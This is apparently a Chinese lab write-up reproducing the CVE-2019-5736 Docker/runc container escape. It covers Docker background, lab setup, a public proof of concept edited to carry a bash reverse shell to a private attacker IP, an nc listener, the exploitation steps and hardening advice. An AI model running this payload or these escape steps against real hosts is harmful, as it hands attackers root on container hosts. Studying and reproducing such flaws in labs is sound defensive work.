CVE漏洞复现-CVE-2019-5736 Docker逃逸

news2024/12/23 5:20:35

CVE-2019-5736 Docker逃逸

Docker是什么?

Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的Linux或Windows操作系统的机器上,也可以实现虚拟化,容器是完全使用沙箱机制,相互之间不会有任何接口

Docker环境和普通生产环境的差异在哪呢?举个列子,在普通的生产环境中,我们程序员写的代码产品在开发环境中能够运行起来,但却在测试环境中很容易出现各种的Bug,报错,这是因为两个环境中机器的配置和环境不一样所导致的

在这里插入图片描述

而Docker的出现解决了这一差异性的问题

在举一个列子,平时我们在做开发项目的时候,需要去配置一大堆的环境依赖,而当我们需要将项目迁移到其他主机或者平台的时候,那是不是也要将一大堆的配置环境依赖同样进行迁移,显得相当的麻烦

像平时我们在生产环境中,会去做集群,负载均衡,来让多台服务器共同承担一个责任,分摊访问流量的压力,当我们部署好一台服务器时,你还需要更多一摸一样的服务器,这个时候,你应该怎么办呢?是不是得将环境依赖什么的从头到尾重新安装一遍,是不是会非常麻烦

所以归根结底,突出两个问题,一是环境一致性的问题,二是重复配置,浪费时间的问题,所以Docker的出现解决了这两个问题

你可以把Docker理解成一个镜像,当我们需要在其他服务器上配置相同的项目环境时

在这里插入图片描述

我们使用Docker相当于复制了一个环境过去,极大解决了硬件环境所造成的环境差异性的问题和需要重复配置环境的问题

在这里插入图片描述
那我们Docker的概念是不是和虚拟机有些相同?那Docker和虚拟机的差异又在哪呢?

虚拟机和Docker的对比:

在这里插入图片描述

特性虚拟机容器
启动分钟级秒级
部署创建速度
硬盘使用一般为GB一般为MB
性能弱于原生系统,和监视器交互接近原生系统,和内核交互
资源利用率一般几十个单机支持上千各容器
隔离性系统级别隔离,更强进程之间的隔离,弱
安全性

容器技术发展历史:

在这里插入图片描述

Docker使用场景:

1、实现快速部署(镜像),例:vulhub.org
2、解决环境一致性的问题,例:部署应用
3、提升服务器的利用率,降低成本,例:安装服务
4、隔离不同的应用

Docker的组成

Docker组成:

在这里插入图片描述
核心概念:

  • 镜像Image:打包好的应用环境,模板,不能修改,列:Nginx、Tomcat、MySQL、桃宝商城、Ubuntu镜像
  • 容器Container:镜像+读写层,有状态:运行、暂停、停止
  • 仓库Registry:存放各种镜像,提供上传和下载,官方仓库:https://hub.docker.com

复现环境搭建说明

什么叫Docker逃逸?

Docker容器相当于一个小型的Linux操作系统,有自己磁盘、网络、进程、用户体系,而Docker逃逸就是我们由Docker权限获得到主机root权限的过程,简单来说就是从Docker的权限得到了部署Docker环境的主机的权限

Docker逃逸原因类型

1、由操作系统内核漏洞引起:CVE-2016-5195(脏牛)
2、由Docker本身的漏洞引起:CVE-2019-5736、CVE- 2019-14271
3、由Docker配置和使用不当引起

(1)开启privileged(特权模式)
(2)宿主机目录挂载(文件挂载)
(3)docket remote api未授权访问导致逃逸

参考链接:浅析docker的多种逃逸方法

CVE-2019-5736 环境搭建

漏洞条件:

root运行Docker
Docker Version < 18.09.2
runc版本<=1.0-rc6

现成靶机下载

链接:https://pan.baidu.com/s/19uXXlyAUUJLX4wJcwEAUgw?pwd=8888
靶机密码:123456 两个账户都是

Docker逃逸演示

复现环境

机器名IP
kali192.168.142.128
centos192.168.142.166

Kali机器开启监听

nc -lvnp 7777

在这里插入图片描述

靶机查看版本

docker -v
docker-runc -v

在这里插入图片描述

启动Docker服务(这一步需要输入密码123456)

service docker start

在这里插入图片描述

运行一个容器

docker run -it ubuntu:18.04 "/bin/bash"

在这里插入图片描述

下载编译利用脚本

git clone https://github.com/Frichetten/CVE-2019-5736-PoC
cd /home/kali/桌面/CVE-2019-5736-PoC-master

在这里插入图片描述

编辑POC文件

vim main.go

加入反弹shell的命令

var payload = "#!/bin/bash \n bash -i >& /dev/tcp/192.168.142.128/7777 0>&1" + shellCmd

在这里插入图片描述

修改脚本编译脚本

首先安装go编译环境

yum install epel-release
yum install golang

在这里插入图片描述

编译poc

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

在这里插入图片描述

kali机器开启HTTP服务

python -m http.server 7987

在这里插入图片描述

centos机器下载poc

curl -O http://192.168.142.128/main

如图我们已经成功的向Docker的主机上传了Poc文件
在这里插入图片描述

然后由于我们要做的是容器逃逸,所以POC需要运行在容器环境中,所以我们需要将main.go文件拷贝到Docker环境中

查看容器

docker container ls -a

启动容器

docker start  501c

在这里插入图片描述

容器拷贝poc

docker cp ./main  501c:/home

在这里插入图片描述

进入Docker bash

docker exec -it 501c /bin/sh
cd /home
ls

在这里插入图片描述

在容器中执行poc

chmod 777 main
./main

在这里插入图片描述

centos以root身份再次进入Docker

docker exec -it 501c /bin/bash

在这里插入图片描述

docker容器执行反弹shell命令

在这里插入图片描述

kali机器收到监听会话

在这里插入图片描述

原理分析

在runc exec加入到容器的命名空间之后(runc运行原理),容器内进程已经能够通过内部/proc(虚拟文件系统)观察到它,此时如果打开/proc/[runc-PID]/exe并写入一些内容,就能够实现将宿主机上的runc二进制程序覆盖。
下一次用户调用runc去执行命令时,实际执行的将是攻击者放置的指令。

总结:篡改了系统的runc文件,在其中加入恶意代码,在下一次run exec的时候导致恶意代码执行

Docker安全加固

Docker安全检测

自动化利用工具:https://github.com/cdk-team/CDK

这个工具可以检测Docker容器和K8S集群的一些漏洞

Docker加固建议

1、升级Docker到最新版
2、升级Linux内核
3、不建议以root权限运行Docker服务
4、不建议以privileged(特权模式)启动Docker
5、不建议将宿主机目录挂载至容器目录
6、不建议将容器以–cap-add=SYSADMIN启动,SYSADMIN意为container进程允许执行mount、umount等一系列系统管理操作,存在容器逃逸风险

参考资料:https://mp.weixin.qq.com/s/R5DV0X3QpYmaxVxIexRYgA

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/449662.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

JAVA实现AES加密、解密附代码

大家好&#xff0c;今天我们一起来学习 Java中的加密解密技术&#xff0c; java是一门面向对象的语言&#xff0c;使用它的开发人员都是非常聪明的人&#xff0c;他们对数据的安全性要求很高。在实际的应用中&#xff0c;我们都需要对数据进行加密、解密处理&#xff0c;这在 j…

【数据结构】第十三站:排序(上)

本文目录 一、排序概念二、插入排序1.插入排序的基本思想2.算法实现3.时间复杂度分析 三、希尔排序1. 希尔排序的思想2.希尔排序的代码实现3.希尔排序和插入排序的性能测试比较4.希尔排序的时间复杂度 四、直接选择排序1.基本思想2.直接选择排序的步骤3.直接选择排序的代码实现…

接口自动化测试用例如何设计?

说到自动化测试&#xff0c;或者说接口自动化测试&#xff0c;多数人的第一反应是该用什么工具&#xff0c;比如&#xff1a;Python Requests、Java HttpClient、Apifox、MeterSphere、自研的自动化平台等。大家似乎更关注的是哪个工具更优秀&#xff0c;甚至出现“ 做平台的 &…

音视频开发开发核心知识+小白入门必看基础知识

音视频开发是一个广泛的领域&#xff0c;它涉及到多个技术领域&#xff0c;包括音频编解码、视频编解码、媒体容器格式、流媒体传输、音视频处理等。以下是音视频开发的一些基础知识&#xff1a; 音频编解码器&#xff1a;音频编解码器是将数字音频信号编码成一种压缩格式&…

什么原因会导致香港轻量云服务器运行缓慢?

对于外贸企业主来说&#xff0c;想要为自己的网站选择一个可靠的主机供应商&#xff0c;并考虑使用香港轻量云服务器&#xff0c;则本文是必读的。本文将探讨租用香港轻量云服务器后遇到的运行缓慢的问题。下文这些因素被视为其中的主要因素。仔细分析它们中的每一个将帮助您确…

华为OD机试真题(Java),5键键盘的输出(100%通过+复盘思路)

一、题目描述 有一个特殊的5键键盘&#xff0c;上面有a&#xff0c;ctrl-c&#xff0c;ctrl-x&#xff0c;ctrl-v&#xff0c;ctrl-a五个键。 a键在屏幕上输出一个字母a&#xff1b;ctrl-c将当前选择的字母复制到剪贴板&#xff1b;ctrl-x将当前选择的字母复制到剪贴板&#…

python 打包新方案

首先是打包一个最简单的python 代码使用 pyinstaller import os #直接读取文件获得python.exe 路径 # 待执行python路径 with open("path_run.txt","r",encoding"utf-8") as f:python_exe,pyf.readlines() os.system("{} {}".format(p…

关于Acunetix(AWVS)激活时候失败可能的方法

关于Acunetix(AWVS)激活的时候失败&#xff0c;可能的解决方法 如果自己的激活包大概率没有问题&#xff0c;但是自己却激活不了 可以在服务中关闭所有的进程&#xff0c;再进行文件替换 方法如下&#xff1a; 1.先卸载文件&#xff0c;卸载的干干净净 2.正常安装 3.安装完毕…

cuDNN 的初始设计

cuDNN V1.0在2014年的发布,并集成到 Caffe、Paddle 等深度学习框架中。论文 cuDNN: Efficient Primitives for Deep Learning 介绍了 NVIDIA 对于该库的设计和实现。近十年间&#xff0c;NVIDIA 迭代推出了8代架构&#xff0c;cuDNN 也更新到 8.9。硬件上引入了 Tensor Core&am…

超级详细的 VirtualBox 虚拟机安装 及入门教程

一、前言 虚拟机&#xff08;Virtual Machine&#xff09;指通过软件模拟的具有完整硬件系统功能的、运行在一个完全隔离环境中的完整计算机系统。在实体计算机中能够完成的工作在虚拟机中都能够实现。 虚拟机是在一些开发测试工作中常常需要用到的功能&#xff0c;常见的虚拟机…

数学建模算法汇总(全网最全!含matlab案例代码)

数学建模常用的算法分类 全国大学生数学建模竞赛中&#xff0c;常见的算法模型有以下30种&#xff1a; 最小二乘法数值分析方法图论算法线性规划整数规划动态规划贪心算法分支定界法蒙特卡洛方法随机游走算法遗传算法粒子群算法神经网络算法人工智能算法模糊数学时间序列分析马…

【对比度增强】Learning Tone Curves for Local Image Enhancement(LTMNet)

文章目录 0. 前言1. 理解1.1 整体框架1.2 网络结构1.3 细节 2. 亮点3. 总结 0. 前言 LTMNet这篇文章借鉴了CLAHE算法&#xff0c;所有步骤与CLAHE一致&#xff0c;不同之处在于LTMNet中局部映射曲线是通过CNN预测得到&#xff0c;而CLAHE中是通过直方图均衡化而得。关于CLAHE&…

MySQL_第10章_创建和管理表

第10章_创建和管理表 讲师&#xff1a;尚硅谷 - 宋红康&#xff08;江湖人称&#xff1a;康师傅&#xff09; 官网&#xff1a; http://www.atguigu.com 1. 基础知识 1.1 一条数据存储的过程 存储数据是处理数据的第一步 。只有正确地把数据存储起来&#xff0c;我们才能…

【C++11】智能指针

目录 一、异常层层嵌套执行流乱跳容易导致内存泄漏 二、使用智能指针解决上述问题 1、RAII 2、像指针一样 3、智能指针RAII运算符重载 三、C98的auto_ptr 四、C11的unique_ptr和shared_ptr 1、unique_ptr唯一指针 2、shared_ptr共享指针 2.1shared_ptr是否线程安全 …

MySQL_第09章_子查询

第09章_子查询 讲师&#xff1a;尚硅谷 - 宋红康&#xff08;江湖人称&#xff1a;康师傅&#xff09; 官网&#xff1a; http://www.atguigu.com 子查询指一个查询语句嵌套在另一个查询语句内部的查询&#xff0c;这个特性从 MySQL 4.1 开始引入。 SQL 中子查询的使用大大…

计算机组成原理 作业5

作业5 题量: 21 满分: 100 作答时间:03-23 09:45至03-29 23:59 91.7分 一. 单选题&#xff08;共11题&#xff0c;35分&#xff09; 1. (单选题, 3分)计算机的存储器采用分级存储体系的主要目的是________。 A. 便于读写数据B. 便于系统…

NetSuite Sublist解释

今朝汇编一下Sublist主题的知识点以备忘。 2个数据源类型 Related Record - 以Saved Search建立的关联记录&#xff1b;Child Record - 父子表&#xff1b; 1. Related Record Saved Search关键点 这种形式的Sublist是利用Saved Search作为Sublist的数据源&#xff0c;将某…

【群智能算法】一种改进的白鲸优化算法IBWO【Matlab代码#17】

文章目录 1. 原始BWO算法1.1 勘探阶段1.2 开发阶段1.3 鲸落阶段 2. 改进白鲸优化算法2.1 Tent映射种群初始化2.2 反向学习策略 3. 部分代码展示4. 仿真结果展示5. 资源获取 1. 原始BWO算法 BWO算法的种群初始化和大多数智能算法相同&#xff0c;即随机产生搜索空间中的若干候选…

python协程实战

协程简介 协程(Coroutine)又称微线程、纤程&#xff0c;协程不是进程或线程&#xff0c;其执行过程类似于 Python 函数调用&#xff0c;Python 的 asyncio 模块实现的异步IO编程框架中&#xff0c;协程是对使用 async 关键字定义的异步函数的调用; 一个进程包含多个线程,类似…

MySQL学习笔记第三天

第04章 运算符 1.算术运算符 算术运算符主要用于数学运算&#xff0c;其可以连接运算符前后的两个数值或表达式&#xff0c;对数值或表达式进行加&#xff08;&#xff09;、减&#xff08;-&#xff09;、乘&#xff08;*&#xff09;、除&#xff08;/&#xff09;和取模&a…